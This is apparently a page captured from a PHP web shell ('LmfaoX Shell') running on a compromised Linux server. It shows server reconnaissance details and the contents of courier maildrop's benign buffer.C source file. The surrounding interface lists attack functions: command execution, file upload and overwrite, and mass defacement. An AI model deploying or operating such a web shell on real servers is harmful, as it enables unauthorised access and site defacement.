ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:25.75 GB of 70.42 GB (36.57%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ courier-0.66.1/ maildrop/ - drwxrwxrwx

Directory:
Viewing file:     buffer.C (2.69 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include "config.h"
#include    "buffer.h"
#include    "funcs.h"
#include    <string.h>
#include    <stdio.h>
#include    <ctype.h>
#include    <math.h>


#define    CHUNK    512

void    Buffer::append(int c)
{
int    newsize=bufsize+CHUNK;
unsigned char    *newbuf=new unsigned char[newsize];

    if (!newbuf)    outofmem();
    if (bufsize)    memcpy(newbuf, buf, bufsize);
    if (buf)    delete[] buf;
    buf=newbuf;
    bufsize = newsize;
    buf[buflength++]=c;
}

void    Buffer::set(const char *p)
{
int    l=strlen(p);

    if (bufsize < l)
    {
    int    newsize=l + CHUNK-1;

        newsize -= (newsize % CHUNK);
    unsigned char    *newbuf=new unsigned char[newsize];

        if (!newbuf)    outofmem();
        if (buf)    delete[] buf;
        buf=newbuf;
        bufsize=newsize;
    }
    memcpy(buf, p, l);
    buflength=l;
}

int    Buffer::operator-(const Buffer &o) const
{
int    i;

    for (i=0; i<buflength && i < o.buflength; i++)
    {
        if (buf[i] < o.buf[i])    return (-1);
        if (buf[i] > o.buf[i])    return (1);
    }
    return (buflength < o.buflength ? -1:
        buflength > o.buflength ? 1:0);
}

int    Buffer::operator-(const char *o) const
{
int    i;

    for (i=0; i<buflength && o[i]; i++)
    {
        if (buf[i] < o[i])    return (-1);
        if (buf[i] > o[i])    return (1);
    }
    return (i < buflength ? 1: o[i] ? -1:0);
}

Buffer &Buffer::operator=(const Buffer &o)
{
    if (bufsize < o.buflength)
    {
    int    newsize=(o.buflength + CHUNK-1);

        newsize -= (newsize % CHUNK);
    unsigned char    *newbuf=new unsigned char[newsize];

        if (!newbuf)    outofmem();
        if (buf)    delete[] buf;
        buf=newbuf;
        bufsize=newsize;
    }
    if (o.buflength) memcpy(buf, o.buf, o.buflength);
    buflength=o.buflength;
    return (*this);
}

void    Buffer::append(const void *p, int l)
{
    if (bufsize - buflength < l)
    {
    int    newsize=(buflength+l + CHUNK-1);

        newsize -= (newsize % CHUNK);
    unsigned char    *newbuf=new unsigned char[newsize];

        if (!newbuf)    outofmem();
        if (buf)
        {
            memcpy(newbuf, buf, buflength);
            delete[] buf;
        }
        buf=newbuf;
        bufsize=newsize;
    }
    if (l) memcpy(buf+buflength, p, l);
    buflength += l;
}

void    Buffer::append(unsigned long n)
{
char    tbuf[40];
char    *p=tbuf+sizeof(tbuf)-1;

    *p=0;
    do
    {
        *--p= (n % 10) + '0';
    } while ( (n /= 10) != 0);
    append(p);
}


void    Buffer::append(double d)
{
char    tbuf[MAXLONGSIZE < 40 ? 40:MAXLONGSIZE+4];

    sprintf(tbuf, "%1.*g", MAXLONGSIZE, d);
    operator += (tbuf);
}

int    Buffer::Int(const char *def) const
{
const    unsigned char *p=buf;
int    l=buflength;
int    minus=0;
unsigned num=0;

    while (l && isspace(*p))
    {
        --l;
        ++p;
    }

    if ((!l || (*p != '-' && (*p < '0' || *p > '9'))) && def != 0)
    {
        p= (const unsigned char *)def;
        l=strlen(def);
    }

    if (l && *p == '-')
    {
        minus=1;
        --l;
        ++p;
    }

    while (l)
    {
        if (*p < '0' || *p > '9')    break;
        num = num * 10 + (*p-'0');
        ++p;
        --l;
    }
    if (minus)    num= -num;
    return ( (int)num );
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.3305 seconds